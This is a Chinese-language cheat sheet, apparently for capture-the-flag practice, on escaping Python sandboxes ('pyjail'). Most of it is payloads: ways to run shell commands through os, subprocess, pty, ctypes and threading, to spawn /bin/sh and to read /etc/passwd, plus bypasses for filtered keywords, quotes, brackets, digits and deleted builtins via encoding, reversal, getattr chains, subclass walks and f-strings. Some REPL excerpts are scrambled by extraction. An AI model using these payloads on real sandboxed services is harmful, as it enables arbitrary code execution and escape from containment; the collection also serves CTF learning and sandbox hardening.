pyjali合集
前置知识
常见的方法
- init:对象的初始化方法,在创建对象的时候调用
- repr:返回对象的官方字符串表达式
- str:返回对象的非正式或友好字符串表达式
- len:返回对象长度
- getitem:获取对象指定键的值
- setitem:设置对象指定键的值
- delitiem:删除对象指定键的值
- iter:返回一个迭代器对象
- contains:检查对象是否包含指定元素
- call:实例对象作为函数调用时调用
- base:返回当前类的基类
- subclasses:查看当前子类的组成列表
- builtins:以一个集合形式查看其作用
- globals:返回所有全局变量的函数
- locals:返回所有局部变量的函数
- chr、ord:字符与ascll码转换函数
- dir:查看对象属性和方法
基础payload:
python导入模块的方法
- import xxx
- from xxx import
- import(‘xxx’)
eval、exec
1
2
3
4
5
6
7
8
9
10
11
12eval(expression[, globals[, locals]])
exec(expression[, globals[, locals]])
'''
用法基本相似,
expression执行表达式,
globals全局变量(必须字典),
locals局部变量(任意mapping object,一般是字典)
不同点:
eval将表达式计算出来,结果返回,不会影响当前环境
exec将表达式作为py语句运行,可以进行赋值等操作(题目中不常见)
eval 与 exec 的区别再于 exec 允许 \n 和 ; 进行换行,而 eval 不允许。并且 exec 不会将结果输出出来,而 eval 会。
'''compile函数:该函数是一个内置函数,可以将源码编译为代码或者ast对象
1
2
3
4
5
6compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1)
source:要编译的源代码。它可以是普通的 Python 代码,或者是一个 AST 对象。如果它是普通的 Python 代码,那么它必须是一个字符串。
filename:源代码的文件名。如果源代码没有来自文件,你可以传递一些可识别的值。
mode:源代码的种类。可以是 ‘exec’,’eval’ 或 ‘single’。’exec’ 用于模块、脚本或者命令行,’eval’ 用于简单的表达式,’single’ 用于单一的可执行语句。
flags 和 dont_inherit:这两个参数用于控制编译源代码时的标志和是否继承上下文。它们是可选的。
optimize:用于指定优化级别。默认值为 -1。
常见模块
timeit模块
1
2import timeit
timeit.timeit("__import__('os').system('ls')",number=1)exec函数
1
exec('__import__("os").system("ls")')
eval函数
1
eval('__import__("os").system("ls")')
eval无法直接达到执行多行代码的效果,使用compile函数传入exec模式就能够实现
1
eval(compile('__import__("os").system("ls")', '<string>', 'exec'))
platform模块
1
2
3import platform
platform.sys.modules['os'].system('ls')
platform.os.system('ls')os模块
os.system
1
os.system('ls')
os.popen
1
os.popen("ls").read()
os.posix_spawn
1
2os.posix_spawn("/bin/ls", ["/bin/ls", "-l"], os.environ)
os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ)os.exec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30os.execl('/bin/sh', 'xx')
__import__('os').execl('/bin/sh', 'xx')
# os.execle
os.execle('/bin/sh', 'xx', os.environ)
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)
# os.execlp
os.execlp('sh', 'xx')
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)
# os.execlpe
os.execlpe('sh', 'xx', os.environ)
__import__('os').execlpe('sh', 'xx', __import__('os').environ)
# os.execv
os.execv('/bin/sh', ['xx'])
__import__('os').execv('/bin/sh', ['xx'])
# os.execve
os.execve('/bin/sh', ['xx'], os.environ)
__import__('os').execve('/bin/sh', ['xx'], __import__('os').environ)
# os.execvp
os.execvp('sh', ['xx'])
__import__('os').execvp('sh', ['xx'])
# os.execvpe
os.execvpe('sh', ['xx'], os.environ)
__import__('os').execvpe('sh', ['xx'], __import__('os').environ)os.spawnv
1
os.spawnv(0,"/bin/ls", ["/bin/ls", "-l"])
os.fork() with os.exec()
1
(__import__('os').fork() == 0) and __import__('os').system('ls')
subprocess模块
python2
subprocess.call
subprocess.check_call
subprocess.check_output
subprocess.popen
1
2
3
4subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
python3
subprocess.run
subprocess.getoutput
subprocess.getstatusoutput
subprocess.call
subprocess.check_call
subprocess.check_output
subprocess.popen
1
2
3
4
5
6
7
8subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
__import__('subprocess').Popen('whoami', shell=True)
pty模块
pty.spawn(仅限linux环境)
1
2
3import pty
pty.spawn("ls")
__import__('pty').spawn("ls")
importlib模块
1
2
3
4import importlib
__import__('importlib').import_module('os').system('ls')
# Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')sys模块(该模块通过modules()函数获取os模块并执行命令)
1
2import sys
sys.modules['os'].system('calc')builtins的利用
- 是一个 builtins 模块的一个引用,其中包含 Python 的内置名称。这个模块自动在所有模块的全局命名空间中导入。当然我们也可以使用 import builtins 来导入
- 它包含许多基本函数(如 print、len 等)和基本类(如 object、int、list 等)。这就是可以在 Python 脚本中直接使用 print、len 等函数,而无需导入任何模块的原因
help函数
- 这个函数可以打开帮助文档,索引到os模块之后可以打开sh
breakpoint函数
- pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码
ctypes模块
1
__import__('ctypes').CDLL(None).system('ls /'.encode())
threading模块(利用新的线程来执行函数)
1
2
3
4
5# eval, exec 都可以执行的版本
__import__('threading').Thread(target=lambda: __import__('os').system('ls')).start()
# exec 可执行
import threading, os; threading.Thread(target=lambda: os.system('ls')).start()
常见的绕过方法
绕过删除模块或方法
在一些沙箱中,可能会对某些模块或者模块的某些方法使用del关键字进行删除
1
2
3
4
5
6
7'eval'] __builtins__.__dict__[
<built-in function eval>
del __builtins__.__dict__['eval']
'eval'] __builtins__.__dict__[
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'reload重新加载:该函数可以重新加载模块,这样被删除的函数能被重新加载(在py3,reload()函数被移动到importlib模块中,所以如果要是有reload()函数,首先要导入importlib模块)
1
2
3
4
5
6
7
8
9
10
11'eval'] __builtins__.__dict__[
<built-in function eval>
del __builtins__.__dict__['eval']
'eval'] __builtins__.__dict__[
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
reload(__builtins__)
<module '__builtin__' (built-in)>
'eval'] __builtins__.__dict__[
<built-in function eval>恢复sys.modules
一些过滤中可能将sys.modules[‘os’]进行修改,这个时候即使将os模块导入,也是无法使用的
1
2
3
4
5'os'] = 'not allowed' sys.modules[
__import__('os').system('ls')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'由于很多别的命令执行库也是有到了os,因此也会收到相应的影响,例如subprocess
1
2
3
4
5
6
7
8__import__('subprocess').Popen('whoami', shell=True)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 688, in <module>
class Popen(object):
File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 1708, in Popen
def _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED,
AttributeError: 'str' object has no attribute 'WIFSIGNALED'由于import导入模块的时候会检查sys.modules中是否已经存在这个类,如果有则不加载,如果没有则加载。因此我们只需要奖os模块删除然后再次导入就可以
1
2
3
4
5sys.modules['os'] = 'not allowed' # oj 为你加的
del sys.modules['os']
import os
os.system('ls')
继承链获取:在清空builtins的情况下,我们也可以通过索引subclasses来找到这些内建函数
1
2
3# 根据环境找到 bytes 的索引,此处为 5
5] ().__class__.__base__.__subclasses__()[
<class 'bytes'>
绕过基于字符串匹配的绕过
字符串变换
字符串拼接:在我们的payload中,像builtins、file这样的字符串如果被过滤了,就可以使用字符串拼接来进行绕过
1
2
3''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['fi'+'le']('E:/passwd').read()base64变形
1
2
3
4
5
6import base64
'__import__') base64.b64encode(
'X19pbXBvcnRfXw=='
'os') base64.b64encode(
'b3M='
'X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc') __builtins__.__dict__[逆序
1
2
3
4eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
kali
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
kali进制转换:八进制、十六进制
1
2
3exec("print('RCE'); __import__('os').system('ls')")
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")其他编码:hex、rot13、base32
过滤了属性名或者函数名
getattr函数
该函数是python的内置函数,用于获取一个对象的属性或者方法
1
2getattr(object, name[, default])
object是对象,name是字符串,代表要获取的属性的名称payload
1
2
3
4
5
6
7
8getattr({},'__class__')
<class 'dict'>
getattr(os,'system')
<built-in function system>
getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
getattr(os,'system111',os.system)('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
getattribute函数
该函数定义了当我们获取一个对象的属性时应该进行的操作
1
2class MyClass:
def __getattribute__(self, name):getattr函数在调用的时候,实际上调用的是这个类的getattribute函数
1
2
3
4os.__getattribute__
<method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
'system') os.__getattribute__(
<built-in function system>
getattr函数
该函数是python的一个特殊方法,当尝试访问一个对象的不存在的属性的时候,它就会被调用,它允许一个对象动态地返回一个属性值,或者抛出一个异常
1
2
3class Myclass
def __getattr__(self, name):
return 'You tried to get ' + name与getattribute不同,该函数只有在属性查找失败的时候才会被调用,这使得getattribute可以用来更为全面地控制属性访问
如果在一个类中同时定义了getattr和getattribute,那么无论属性是否存在,getattribute都会被首先调用。只有当getattribute抛出异常的时候getattr才会被调用
所有类都会有getattribute属性,不一定有getattr属性
globals替换
- globals可以直接使用func_globals进行替换
一些替换
- mro、bases、base三者可以直接替换
过滤import
使用__import__替换
1
__import__('os')
使用importlib.import_module(但是该模块也需要导入)
1
2import importlib
importlib.import_module('os').system('ls')使用loader.load_moudle(如果使用audithook的方法进行过滤,上面两种方法就无法使用,但是该模块的底层代码和import不同,因此在某些方式无法进行绕过)
1
__loader__.load_module('os')
过滤了[]
调用getitem函数直接进行替换
1
2
3''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')调用pop函数
1
''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')
过滤了’’
str函数替换
1
2
3
4
5
6
7
8().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
str(().__class__.__new__)[21]
'w'
str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'chr函数
1
2
3
4
5
6chr(56)
'8'
chr(100)
'd'
chr(100)*40
'dddddddddddddddddddddddddddddddddddddddd'list+dict:使用这两个函数进行配合可以将变量名转化为字符串,但这种方式要求字符串中不能存在空格
1
list(dict(whoami=1))[0]
doc:改变量可以获取到类的说明信息,从其中索引处想要的字符串然后进行拼接
1
2().__doc__.find('s')
().__doc__[19]+().__doc__[86]+().__doc__[19]bytes函数:该函数可以接收一个ascii列表,然后转换为二进制字符串,在调用decode就可以得到字符串
1
bytes([115, 121, 115, 116, 101, 109]).decode()
过滤+
使用join和str结合
1
str().join(().__doc__[19],().__doc__[23])
过滤了数字
使用一些函数的返回值获取(有了0之后,其他数字可以通过运算进行获取)
1
20:int(bool([]))、Flase、len([])、any(())
1:int(bool([""]))、True、all(())、int(list(list(dict(a၁=())).pop()).pop())使用repr来获取一些比较长的字符串,然后使用len获取大整数
1
2
3
4len(repr(True))
4
len(repr(bytearray))
19使用len+dict+list来构造
1
2
30 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])使用unicode绕过
过滤空格:使用()、[]替换
过滤了()
- 使用装饰器@
- 使用魔术方法,例如enum.EnumMeta.getitem
f字符串执行
1
2
3
4f'{__import__("os").system("whoami")}'
kali
'0'
f"{__builtins__.__import__('os').__dict__['popen']('ls').read()}"过滤内建函数
使用eval+list+dict构造
1
2eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>
过滤.和,
使用内建函数
1
2>>> eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>模块内的函数可以先使用import导入函数,然后使用vars进行获取
1
2vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>
绕过命名空间限制
- 部分限制:有些沙箱在构建的时候使用exec来执行命令,exec函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱